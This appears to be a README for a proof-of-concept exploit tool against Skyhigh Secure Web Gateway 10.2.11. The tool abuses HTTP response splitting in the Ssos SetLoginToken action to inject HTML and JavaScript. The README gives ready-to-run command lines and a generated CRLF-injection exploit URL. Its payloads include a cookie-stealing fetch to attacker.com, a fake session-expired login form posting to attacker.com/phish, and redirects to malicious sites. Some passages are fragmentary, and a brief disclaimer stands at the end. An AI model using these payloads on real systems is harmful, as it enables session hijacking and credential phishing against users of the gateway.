
보안 웹 게이트웨이 10.2.11 - 교차 사이트 스크립팅 (XSS)
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝
0PTS 제작
Skyhigh Secure Web Gateway (이전 McAfee Web Gateway)의 HTTP Response Splitting 취약점에 대한 개념 증명.
Skyhigh Secure Web Gateway의 HTTP Response Splitting 취약점은 원격으로 임의의 HTML/JavaScript 코드를 주입하여 XSS 공격을 수행할 수 있는 심각한 취약점입니다.
취약점은 URL 매개변수를 올바르게 처리하지 않는 "Ssos" 플러그인(SetLoginToken 액션)에 존재합니다.
줄바꿈 문자(\r\n / %0d%0a)가 이스케이프되지 않으므로 공격자는 다음을 수행할 수 있습니다:
Content-Type 및 Content-Length 재정의브라우저는 올바르게 구성된 Content-Length 이후의 나머지 응답 내용을 무시하므로 표시되는 콘텐츠를 완전히 위조할 수 있습니다.
python explot.py
# Базовый XSS
python explot.py -d example.com -p "<script>alert(document.domain)</script>"
# Редирект
python explot.py -d target.com -p '<meta http-equiv="refresh" content="0;url=https://evil.com/">'
# Фишинг форма
python explot.py -d bank.com -p '<form action="https://evil.com/steal"><input name="pass" placeholder="Password"><button>Login</button></form>'
# Только URL (тихий режим)
python explot.py -d example.com -p "<script>alert(1)</script>" -q
-d, --domain 대상 도메인 (기본값: google.com)
-x, --prefix URL 경로 접두사 (기본값: SWG internal path)
-p, --payload HTML/JavaScript payload
-q, --quiet 조용한 모드 - URL만 출력
-v, --version 스크립트 버전
-h, --help 도움말
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>
<html>
<body style="font-family:Arial">
<h2>Session Expired - Please Login Again</h2>
<form action="https://attacker.com/phish" method="POST">
<input type="text" name="user" placeholder="Username"><br>
<input type="password" name="pass" placeholder="Password"><br>
<button>Login</button>
</form>
</body>
</html>
<meta http-equiv="refresh" content="0;url=https://malicious-site.com/">
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝
[+] Target Domain: example.com
[+] Payload Length: 43 bytes
[+] URL Length: 234 chars
[+] Generated URL:
http://example.com/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p=p%0D%0AContent-Type%3A%20text%2Fhtml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%2043%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
/mwg-internal/*에 대한 의심스러운 요청 모니터링⚠️ 주의: 이 도구는 다음 목적으로만 사용해야 합니다:
소유자의 명시적 허가 없이 시스템에 사용하는 것은 불법입니다.
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝